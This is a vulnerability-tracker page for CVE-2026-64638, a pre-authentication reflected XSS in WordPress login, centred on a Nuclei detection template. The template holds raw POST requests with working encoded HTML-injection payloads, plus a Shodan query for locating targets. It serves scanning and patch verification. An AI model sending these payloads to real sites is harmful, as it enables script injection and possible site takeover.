CVE-2026-64638: WordPress Core < 7.0.3 - Preauth Reflected XSS (XSS2Shell)

2026-08-16 WordPress Core PoC Public

Description

Pre-authentication reflected XSS in WordPress wp-login.php (CVE-2026-64638).

The flaw exploits a parser differential between PHP strip_tags() and

WordPress KSES. Tags with whitespace after < (e.g. "< area") survive

strip_tags() but are normalized to valid HTML by KSES, leading to

attacker-controlled DOM elements that trigger automatic JavaScript

execution via user-profile.js. No user interaction required.

Affects all WordPress versions < 7.0.3.

PoC

id: CVE-2026-64638

info:
  name: WordPress Core < 7.0.3 - Preauth Reflected XSS (XSS2Shell)
  author: FLX | Nick Vidovic (greenhats)
  severity: high
  description: |
    Pre-authentication reflected XSS in WordPress wp-login.php (CVE-2026-64638).
    The flaw exploits a parser differential between PHP strip_tags() and
    WordPress KSES. Tags with whitespace after < (e.g. "< area") survive
    strip_tags() but are normalized to valid HTML by KSES, leading to
    attacker-controlled DOM elements that trigger automatic JavaScript
    execution via user-profile.js. No user interaction required.
    Affects all WordPress versions < 7.0.3.
  impact: |
    Attackers can execute scripts leading to remote code execution via social engineering and victim interaction.
  remediation: |
    Upgrade WordPress to 7.0.3 or apply the backported security patch.
  reference:
    - https://pwn.ai/blog/xss2shell
    - https://thehackernews.com/2026/08/new-wordpress-pre-auth-xss-could-lead.html
    - https://nvd.nist.gov/vuln/detail/CVE-2026-64638
    - https://wordpress.org/news/2026/08/wordpress-7-0-3-release/
  classification:
    cve-id: CVE-2026-64638
    epss-score: 0.31204
    epss-percentile: 0.98179
    cvss-score: 8.9
    cwe-id: CWE-79
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  metadata:
    max-request: 3
    verified: true
    shodan-query: http.component:"wordpress"
  tags: cve,cve2026,wordpress,xss,rce,pwnai

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-login.php"

    matchers:
      - type: word
        part: body
        words:
          - "loginform"
          - "wp-core-ui"
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log=%3C%20area%20id%3Dajaxurl%20href%3D%2F%3Frest_route%3D%2F%26_method%3DGET%26_jsonp%3Dalert%3E%3C%20div%20id%3Dcolor-picker%20class%3Dreset-pass-submit%3E%3C%20button%20class%3D%22wp-generate-pw%20color-option%22%3EX&pwd=x&wp-submit=Log+In

      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log=%3C%20area%20id%3Dajaxurl%20href%3D%2F%3Frest_route%3D%2F%26_method%3DGET%26_envelope%3D1%26_jsonp%3Dalert%3E%3C%20div%20id%3Dcolor-picker%20class%3Dreset-pass-submit%3E%3C%20button%20class%3D%22wp-generate-pw%20color-option%22%3EX&pwd=x&wp-submit=Log+In

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "<area[^>]*id=[\"']?ajaxurl"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        regex:
          - "<area[^>]*id=[\"']?ajaxurl[^>]*>"
# digest: 4a0a00473045022100cc51c478b0ef02c00edf0a360b6c5b9d3f9fe6594d20dd23f6d178e60df90ba802204347e13340494cdd9643604befd55b8cc73bc9c37bdfed4af767853b65e11488:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-64638.yaml

References

Related Vulnerabilities